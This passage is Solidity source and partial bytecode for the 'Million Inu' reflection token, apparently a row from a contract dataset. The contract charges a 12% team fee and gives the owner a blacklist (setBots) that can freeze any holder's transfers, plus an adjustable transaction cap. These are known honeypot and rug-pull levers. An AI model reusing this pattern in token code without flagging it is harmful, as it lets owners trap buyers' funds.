require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MillionInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 2 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Million Inu";
string private constant _symbol = 'MILLINU';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 3;
uint256 private _teamFee = 12;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
if(cooldownEnabled){
require(cooldown[from] < block.timestamp - (360 seconds));
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610784565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085d565b005b34801561033357600080fd5b5061033c610980565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b81019080803515159060200190929190505050610989565b005b34801561039e57600080fd5b506103a7610a6e565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae0565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcb565b005b34801561043157600080fd5b5061043a610d51565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db7565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd5565b005b34801561063857600080fd5b50610641610f25565b005b34801561064f57600080fd5b50610658610f9f565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160b565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117b8565b6040518082815260200191505060405180910390f35b60606040518060400160405280600b81526020017f4d696c6c696f6e20496e75000000000000000000000000000000000000000000815250905090565b600061076b61076461183f565b8484611847565b6001905092915050565b600066071afd498d0000905090565b6000610791848484611a3e565b6108528461079d61183f565b61084d85604051806060016040528060288152602001613d8860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061080361183f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123029092919063ffffffff16565b611847565b600190509392505050565b61086561183f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610925576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61099161183f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a51576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610aaf61183f565b73ffffffffffffffffffffffffffffffffffffffff1614610acf57600080fd5b6000479050610add816123c2565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7b57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc6565b610bc3600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124bd565b90505b919050565b610bd361183f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c93576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4d494c4c494e5500000000000000000000000000000000000000000000000000815250905090565b6000610dcb610dc461183f565b8484611a3e565b6001905092915050565b610ddd61183f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2157600160076000848481518110610ebb57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea0565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f6661183f565b73ffffffffffffffffffffffffffffffffffffffff1614610f8657600080fd5b6000610f9130610ae0565b9050610f9c81612541565b50565b610fa761183f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611067576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1666071afd498d0000611847565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111be57600080fd5b505afa1580156111d2573d6000803e3d6000fd5b505050506040513d60208110156111e857600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125b57600080fd5b505afa15801561126f573d6000803e3d6000fd5b505050506040513d602081101561128557600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1580156112ff57600080fd5b505af1158015611313573d6000803e3d6000fd5b505050506040513d602081101561132957600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c330610ae0565b6000806113ce610d51565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145357600080fd5b505af1158015611467573d6000803e3d6000fd5b50505050506040513d606081101561147e57600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115cc57600080fd5b505af11580156115e0573d6000803e3d6000fd5b505050506040513d60208110156115f657600080fd5b81019080805190602001909291905050505050565b61161361183f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008111611749576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177660646117688366071afd498d000061282b90919063ffffffff16565b6128b190919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118cd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613dfe6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611953576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613d456022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ac4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613dd96025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613cf86023913960400191505060405180910390fd5b60008111611ba3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613db06029913960400191505060405180910390fd5b611bab610d51565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c195750611be9610d51565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561223f57601360179054906101000a900460ff1615611e7f573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c9b57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cf55750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d4f5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e7e57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9561183f565b73ffffffffffffffffffffffffffffffffffffffff161480611e0b5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df361183f565b73ffffffffffffffffffffffffffffffffffffffff16145b611e7d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f6f57601454811115611ec157600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f655750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f6e57600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561201a5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120705750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120885750601360179054906101000a900460ff165b156121205742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120d857600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061212b30610ae0565b9050601360159054906101000a900460ff161580156121985750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b05750601360169054906101000a900460ff165b1561223d57601360179054906101000a900460ff161561221a576101684203600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061221957600080fd5b5b61222381612541565b6000479050600081111561223b5761223a476123c2565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122e65750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122f057600090505b6122fc848484846128fb565b50505050565b60008383111582906123af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612374578082015181840152602081019050612359565b50505050905090810190601f1680156123a15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124126002846128b190919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561243d573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61248e6002846128b190919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156124b9573d6000803e3d6000fd5b5050565b6000600a5482111561251a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613d1b602a913960400191505060405180910390fd5b6000612524612b52565b905061253981846128b190919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561257657600080fd5